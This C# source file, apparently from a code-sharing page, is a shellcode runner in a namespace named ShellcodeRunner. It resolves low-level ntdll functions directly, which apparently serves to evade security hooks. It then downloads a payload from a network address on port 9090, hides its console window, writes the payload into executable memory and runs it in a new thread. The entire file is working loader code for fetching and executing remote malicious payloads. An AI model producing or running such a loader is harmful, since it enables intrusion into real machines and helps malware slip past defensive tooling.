MemoryPull.cs 6.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122
  1. using System;
  2. using System.Diagnostics;
  3. using System.Net;
  4. using System.Runtime.InteropServices;
  5. namespace ShellcodeRunner
  6. {
  7. public class Program
  8. {
  9. public delegate IntPtr ARPROC(IntPtr hModule, string lpProcName);
  10. public class GetProcAddressHelper
  11. {
  12. [StructLayout(LayoutKind.Sequential)]
  13. public struct IMAGE_DOS_HEADER
  14. {
  15. public ushort e_magic; // Magic number
  16. public ushort e_cblp; // Bytes on last page of file
  17. public ushort e_cp; // Pages in file
  18. public ushort e_crlc; // Relocations
  19. public ushort e_cparhdr; // Size of header in paragraphs
  20. public ushort e_minalloc; // Minimum extra paragraphs needed
  21. public ushort e_maxalloc; // Maximum extra paragraphs needed
  22. public ushort e_ss; // Initial (relative) SS value
  23. public ushort e_sp; // Initial SP value
  24. public ushort e_csum; // Checksum
  25. public ushort e_ip; // Initial IP value
  26. public ushort e_cs; // Initial (relative) CS value
  27. public ushort e_lfarlc; // File address of relocation table
  28. public ushort e_ovno; // Overlay number
  29. [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
  30. public ushort[] e_res1; // Reserved words
  31. public ushort e_oemid; // OEM identifier (for e_oeminfo)
  32. public ushort e_oeminfo; // OEM information; e_oemid specific
  33. [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
  34. public ushort[] e_res2; // Reserved words
  35. public int e_lfanew; // File address of new exe header
  36. }
  37. // Add other structure definitions, DllImports, and methods here
  38. }
  39. // NT API Constants
  40. const uint MEM_COMMIT = 0x00001000;
  41. const uint MEM_RESERVE = 0x00002000;
  42. const uint PAGE_EXECUTE_READWRITE = 0x40;
  43. const uint PAGE_EXECUTE_READ = 0x20;
  44. const uint CREATE_SUSPENDED = 0x00000004;
  45. const uint WAIT_INFINITE = 0xFFFFFFFF;
  46. // Function prototypes for NT APIs
  47. delegate int NtAllocateVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect);
  48. delegate int NtFreeVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint FreeType);
  49. delegate int NtCreateThreadExDelegate(out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Argument, uint CreateFlags, uint ZeroBits, uint StackSize, uint MaximumStackSize, IntPtr AttributeList);
  50. delegate int NtWaitForSingleObjectDelegate(IntPtr Handle, bool Alertable, IntPtr Timeout);
  51. delegate int NtProtectVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, out uint OldProtect);
  52. [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  53. static extern bool FreeConsole();
  54. [DllImport("kernel32.dll")]
  55. static extern IntPtr GetCurrentProcess();
  56. static void Main(string[] args)
  57. {
  58. // Load ntdll.dll module
  59. IntPtr ntdllModule = LoadLibrary("ntdll.dll");
  60. // Get addresses of NT APIs from IAT
  61. IntPtr ntAllocateVirtualMemoryAddr = GetProcAddress(ntdllModule, "NtAllocateVirtualMemory");
  62. IntPtr ntFreeVirtualMemoryAddr = GetProcAddress(ntdllModule, "NtFreeVirtualMemory");
  63. IntPtr ntCreateThreadExAddr = GetProcAddress(ntdllModule, "NtCreateThreadEx");
  64. IntPtr ntWaitForSingleObjectAddr = GetProcAddress(ntdllModule, "NtWaitForSingleObject");
  65. IntPtr ntProtectVirtualMemoryAddr = GetProcAddress(ntdllModule, "NtProtectVirtualMemory");
  66. // Create delegates for NT APIs
  67. NtAllocateVirtualMemoryDelegate ntAllocateVirtualMemory = (NtAllocateVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(ntAllocateVirtualMemoryAddr, typeof(NtAllocateVirtualMemoryDelegate));
  68. NtFreeVirtualMemoryDelegate ntFreeVirtualMemory = (NtFreeVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(ntFreeVirtualMemoryAddr, typeof(NtFreeVirtualMemoryDelegate));
  69. NtCreateThreadExDelegate ntCreateThreadEx = (NtCreateThreadExDelegate)Marshal.GetDelegateForFunctionPointer(ntCreateThreadExAddr, typeof(NtCreateThreadExDelegate));
  70. NtWaitForSingleObjectDelegate ntWaitForSingleObject = (NtWaitForSingleObjectDelegate)Marshal.GetDelegateForFunctionPointer(ntWaitForSingleObjectAddr, typeof(NtWaitForSingleObjectDelegate));
  71. NtProtectVirtualMemoryDelegate ntProtectVirtualMemory = (NtProtectVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(ntProtectVirtualMemoryAddr, typeof(NtProtectVirtualMemoryDelegate));
  72. WebClient client = new WebClient();
  73. string url = "http://192.168.1.29:9090/shellcode.md";
  74. byte[] shellcode = client.DownloadData(url);
  75. FreeConsole();
  76. IntPtr allocMemAddress = IntPtr.Zero;
  77. IntPtr size = (IntPtr)shellcode.Length;
  78. // Allocate read-write memory using NtAllocateVirtualMemory
  79. int status = ntAllocateVirtualMemory(GetCurrentProcess(), ref allocMemAddress, IntPtr.Zero, ref size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  80. // Copy the shellcode to the allocated memory
  81. Marshal.Copy(shellcode, 0, allocMemAddress, shellcode.Length);
  82. // Change the memory protection to read-execute using NtProtectVirtualMemory
  83. uint oldProtect = 0;
  84. status = ntProtectVirtualMemory(GetCurrentProcess(), ref allocMemAddress, ref size, PAGE_EXECUTE_READ, out oldProtect);
  85. IntPtr threadHandle = IntPtr.Zero;
  86. // Create a new thread and execute the shellcode using NtCreateThreadEx
  87. status = ntCreateThreadEx(out threadHandle, 0x1FFFFF, IntPtr.Zero, GetCurrentProcess(), allocMemAddress, IntPtr.Zero, 0, 0, 0, 0, IntPtr.Zero);
  88. // Wait for the thread to finish using NtWaitForSingleObject
  89. ntWaitForSingleObject(threadHandle, false, IntPtr.Zero);
  90. // Free the allocated memory using NtFreeVirtualMemory
  91. status = ntFreeVirtualMemory(GetCurrentProcess(), ref allocMemAddress, ref size, 0x8000); // FreeType = MEM_RELEASE
  92. Console.WriteLine("Shellcode executed");
  93. }
  94. [DllImport("kernel32.dll", SetLastError = true)]
  95. static extern IntPtr LoadLibrary(string lpFileName);
  96. [DllImport("kernel32.dll", SetLastError = true)]
  97. static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  98. }
  99. }